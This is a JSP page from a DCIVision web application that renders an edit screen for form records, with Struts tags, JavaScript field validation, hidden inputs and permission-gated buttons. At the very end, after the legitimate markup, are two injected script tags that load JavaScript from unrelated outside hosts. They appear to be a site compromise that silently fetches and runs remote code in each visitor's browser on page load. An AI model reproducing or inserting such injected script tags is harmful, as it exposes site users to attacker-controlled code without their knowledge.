<%
/*
 * @(#)EditFormRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormRecord.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    11/12/2003
    @version          $Revision: 1.86.2.12 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormRecordForm" scope="request" class="com.dcivision.form.web.MaintFormRecordForm"/>

<script language="Javascript">
<!--

function OpCustSave() {

    if (document.maintFormRecordForm.title.value.length > 20) {
       alert("<bean:message key='common.message.title_content_not_exceeds_20_characters'/>");
       return false;
    }
    if (compareDate(document.maintFormRecordForm.startDate, document.maintFormRecordForm.endDate, true) > 0) {
      alert("<bean:message key='common.message.from_later_than_to'/>");
      return false;
    }

    if (document.maintFormRecordForm.oldStartDate.value!=document.maintFormRecordForm.startDate.value){
      if (compareDate(document.maintFormRecordForm.today,document.maintFormRecordForm.startDate, true) > 0) {
        alert("<bean:message key='common.message.from_later_than_current_time'/>");
        return false;
      }
    }

    if (compareDate(document.maintFormRecordForm.today, document.maintFormRecordForm.endDate, true) > 0) {
      alert("<bean:message key='common.message.from_end_date_than_current_time'/>");
      return false;
    }

    if(document.maintFormRecordForm.formType && document.maintFormRecordForm.formType.length){
         if((document.maintFormRecordForm.formType[0].checked && document.maintFormRecordForm.pageTitle.value=="") || trim(document.maintFormRecordForm.pageTitle.value)==""){
                alert("<bean:message key='form.columnheader.page_title'/>" + "  <bean:message key='form.message.is_required'/>");
                return(false);
         }
    }else{
        if((document.maintFormRecordForm.formType && document.maintFormRecordForm.formType.checked && document.maintFormRecordForm.pageTitle.value=="") || trim(document.maintFormRecordForm.pageTitle.value)==""){
                alert("<bean:message key='form.columnheader.page_title'/>" + "  <bean:message key='form.message.is_required'/>");
                return(false);
        }
    }
    if (!contentValidate()) return (false);
    OpSave();
    return (false);
}

function contentValidate() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var frm = document.maintFormRecordForm;
  var unRightfulChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>"; // Extract to canstant variable or several variable and add other unrightful char if needed.

  if (!validateSpecialChar(frm.title, unRightfulChars, "<bean:message key='form.columnheader.title'/> " + errorMessage)) return (false);
  if (!validateSpecialChar(frm.formCode, unRightfulChars, "<bean:message key='form.label.form_code'/> " + errorMessage)) return (false);
  if (!validateSpecialChar(frm.formVersion, unRightfulChars, "<bean:message key='form.columnheader.form_version'/> " + errorMessage)) return (false);
  if (!validateSpecialChar(frm.pageTitle, unRightfulChars, "<bean:message key='form.columnheader.page_title'/> " + errorMessage)) return (false);

  return (true);
}

function CusOpRelease(){
  if (!confirm("<bean:message key='form.message.confirm_release_form'/>")) {
    return(false);
  }
  document.maintFormRecordForm.status.value = "<%=GlobalConstant.RECORD_RELEASED%>";
  document.maintFormRecordForm.opRelease.value = "<%=GlobalConstant.RECORD_RELEASED%>";
  return OpCustSave();
}


-->
</script>

<html:form action="form/MaintFormRecord" enctype="multipart/form-data" styleClass="form-style-2">
<html:javascript formName="maintFormRecordForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   //String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false, bPageTextOnly = false;

   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
     maintFormRecordForm.setStatus(GlobalConstant.RECORD_PENDING);
   } else if (GlobalConstant.RECORD_PENDING.equals(maintFormRecordForm.getStatus())) {
     bIsPending = true;
   } else if (FormRecord.FORM_STATUS_RELEASED.equals(maintFormRecordForm.getStatus()) && GlobalConstant.NAV_MODE_EDIT.equals(navMode)){
     bPageTextOnly = false;
     bTextOnly = true;
   } else {
     bTextOnly = true;
     bPageTextOnly = true;
   }

   String formRecordID = (!Utility.isEmpty(request.getAttribute("formCopyID")) && !"null".equals(request.getAttribute("formCopyID").toString()))?request.getAttribute("formCopyID").toString():request.getParameter("ID");

   String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right", FormElement.LABEL_POSITION_RIGHT}};


   String[][] FORM_STATUS_MAP = { {"form.label.form_status_P", FormRecord.FORM_STATUS_PENDING},
                                  {"form.label.form_status_R", FormRecord.FORM_STATUS_RELEASED}};

   String FONT_TYPE_MAP[][] = new String[8][2];

   for ( int i = 0 ; i < 8 ; i++ ) {
     int j = i + 1;
     FONT_TYPE_MAP[i][0] = "form.label.element_fonts_"+j;
     FONT_TYPE_MAP[i][1] = String.valueOf(j);
   }

   String FONT_SIZE_MAP[][] = new String[23][2];


   for ( int i = 0 ; i < 23 ; i++ ) {
     int j = i + 8;
     //int j = i+1;
     FONT_SIZE_MAP[i][0] = "form.label.font_size_"+j;
     //FONT_SIZE_MAP[i][0] = String.valueOf(j);
     FONT_SIZE_MAP[i][1] = String.valueOf(j);
   }

   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   FormSubmissionHtmlDAObject formSubmissionHtmlDAObject=new FormSubmissionHtmlDAObject(sessionContainer,conn);
   FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer,conn);
   boolean hasElement = !Utility.isEmpty(maintFormRecordForm.getID()) ? formSubmissionManager.hasElement(maintFormRecordForm.getID()) : false;

   List formElementList = (List)request.getAttribute("formElementList");
   int formElementSize = 0;
   if(!Utility.isEmpty(formElementList)){
     formElementSize = formElementList.size();
   }
   String[][] FORM_ELEMENT_MAP = new String[formElementSize+1][2];
   FORM_ELEMENT_MAP[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.form_title");
   if(!Utility.isEmpty(formElementList)){
     for (int i=0; i<formElementList.size(); i++){
       FormElement formElement = (FormElement)formElementList.get(i);
       FORM_ELEMENT_MAP[i+1][1] = formElement.getID().toString();
       FORM_ELEMENT_MAP[i+1][0] = formElement.getFieldName();
     }
   }
%>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/


   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "ListFormRecord.do?formGroupID="+session.getAttribute("formGroupID")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="Javascript">
 <!--


var colorPicker = new ColorPicker();
var field;

function pickFontColor(anchorname,fieldName) {
  field = document.maintFormRecordForm.elements['titleFontColor'];
  colorPicker.show(anchorname);
}

function pickColor(color) {
  field.value = color;
}


 -->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='formDocID'/>
<html:hidden property='status'/>
<html:hidden property='formType' value='<%=FormRecord.FORM_TYPE_HTML%>'/>	
<input type=hidden name='formGroupID' value='<%=session.getAttribute("formGroupID")%>'/>
<input type=hidden name='formRecordID' value='<%=formRecordID%>'/>
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">
<input type="hidden" name="opRelease" value="">


<layout:tabContainer id="tab1">
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
 <layout:tabBar styleClass="tabBar_no_button">
       <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
</layout:tabBar>
<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<!-- First Upper Table-->
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="form.label.form_information"/>

  <tr>
    <td class="formLabelSmallMan"><bean:message key='form.label.form_title'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='title' textOnly='<%=bTextOnly%>' size='20' maxlength='100'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='form.label.form_code'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='formCode' textOnly='<%=bTextOnly%>' size='20' maxlength='20'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='form.label.form_version'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='formVersion' textOnly='<%=bTextOnly%>' size='20' maxlength='10'/></td>
  </tr>
  <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
      <td class="formFieldSmall">
    <html:datepicker  property='startDate' defaultToday='true'/>
    <input type="hidden" name="oldStartDate" value="<%=maintFormRecordForm.getStartDate()%>">
      <bean:message key='common.label.period_to'/>
      <html:datepicker  property='endDate'/>
      </td>
  </tr>
  <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.related_to_object'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <html:select property='displayElementID' style='width:160'>
        <html:options stringArray='<%=FORM_ELEMENT_MAP%>' convertLabel='false' hasSelect='false' />
        </html:select>
      </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.status'/>:&nbsp;</td>
    <td class="formFieldSmall">
       <bean:message key='<%="common.options.status_"+maintFormRecordForm.getStatus()%>'/>
    </td>
  </tr>
  <tr>
  <td colspan="2">
 <div id="type_html" >
 <table width="100%">
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
   <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
    <td class="sectionTitle" width='70%'nowrap>
      <bean:message key='form.label.form_page'/>:
    </td>
  </tr>
      </table>
    </td>
  </tr>
 <!-- START page info -->

  <tr>
    <td class="formLabelSmallMan" width="150">
    <bean:message key='form.columnheader.page_title'/>:&nbsp;</td><html:hidden property='pageID'/>
    <td class="formFieldSmall"><html:text textOnly='<%=bPageTextOnly%>' property='pageTitle' size='20' maxlength='100'/>
    &nbsp;&nbsp;
    </td>
  </tr>

 </table>
 </div>
 </td></tr>

  <!-- END page info -->

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
 </layout:tabContainer>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
     <%if(GlobalConstant.TRUE.equals((String)request.getAttribute("isCreateFolder"))){%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
     <%}else{%>
      <html:standardButton label="common.label.save" disable="true"/>
     <%}%>

      <%if (!Utility.isEmpty(maintFormRecordForm.getID()) && !FormRecord.FORM_STATUS_RELEASED.equals(maintFormRecordForm.getStatus()) && hasElement) {%>
        <html:standardButton label="common.label.release" onClick="return CusOpRelease()"/>
        <%} %>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormRecordForm.getOpMode())) {%>
      <logic:permission right='E'>
        <logic:permission right='E' objectType="M" objectID="<%=new Integer(maintFormRecordForm.getFormGroupID())%>">
         <%if (formSubmissionHtmlDAObject.getBooleanByRecordID(Integer.valueOf(maintFormRecordForm.getID()))){%>
           <html:standardButton label="common.label.edit" disable="true"/>
         <%}else{%>
           <html:standardButton label="common.label.edit" link="MaintFormRecord.do?navMode=E&ID=${maintFormRecordForm.ID}"/>
         <%}%>
         <html:standardButton label="common.label.edit" disable="true"/>
        </logic:permission>
      </logic:permission>
    <%}%>
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <logic:permission right='D'>
      <logic:equal name='maintFormRecordForm' property='status' value='<%=FormRecord.FORM_STATUS_PENDING%>'>
        <html:standardButton label="common.label.delete" onClick="return OpDelete()"/>
      </logic:equal>
      <logic:equal name='maintFormRecordForm' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
        <html:standardButton label="common.label.delete" disable="true"/>
      </logic:equal>
      <html:standardButton label="common.label.delete" disable="true"/>
      </logic:permission>
    <%}%>
  <%if (GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <logic:equal name='maintFormRecordForm' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
      <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
      </logic:equal>
      <%if (!Utility.isEmpty(maintFormRecordForm.getID()) && !FormRecord.FORM_STATUS_RELEASED.equals(maintFormRecordForm.getStatus()) && hasElement) {%>
        <html:standardButton label="common.label.release" onClick="return CusOpRelease()"/>
        <%} %>
    <%}%>

    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
    <%if (!Utility.isEmpty(maintFormRecordForm.getFormDocID())){%>
        <html:standardButton label="common.label.form_action_preview" onClick="javascript:window.open('GenerateXML.do?navMode=V&formRecordID=${maintFormRecordForm.ID}&formDocID=${maintFormRecordForm.formDocID}&function=FORMSETUP','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"/>
    <%}else{%>
        <html:standardButton label="common.label.form_action_preview" link='<%="MaintFormPage.do?navMode="+GlobalConstant.NAV_MODE_VIEW+"&preview=T&function=FORMEDIT&formRecordID=${maintFormRecordForm.ID}"%>'/>
    <%}%>
    <%}else if (GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {
  if (!Utility.isEmpty(request.getParameter("ID"))) {%>
    <%if (!Utility.isEmpty(maintFormRecordForm.getFormDocID())){%>
           <html:standardButton label="common.label.form_action_preview" onClick="javascript:window.open('GenerateXML.do?navMode=V&formRecordID=${param.ID}&formDocID=${maintFormRecordForm.formDocID}&function=FORMSETUP','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"/>
         <%}else{%>
           <html:standardButton label="common.label.form_action_preview" link='<%="MaintFormPage.do?navMode="+GlobalConstant.NAV_MODE_VIEW+"&preview=T&function=FORMCOPY&formRecordID=${param.ID}"%>'/>
         <%}%>
      <%}%>
    <%}%>
    </div>
  </div>
<script language="javascript">
<!--
 function hideBlock(b) {
    FindObj(b).style.display = "none";
  }

  function showBlock(b) {
    FindObj(b).style.display = "block";
  }
 function onType(type){
   if (type=="html"){
    showBlock('type_html');
    document.maintFormRecordForm.formType.value="0";

  }

}
    onType('html');
    if(document.maintFormRecordForm.formType && document.maintFormRecordForm.formType.length){
      document.maintFormRecordForm.formType[0].checked = true;
    }else if(document.maintFormRecordForm.formType){
      document.maintFormRecordForm.formType.checked = true;
    }
 -->
</script>
</html:form>
<SCRIPT LANGUAGE="JavaScript">colorPicker.writeDiv()

</SCRIPT>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>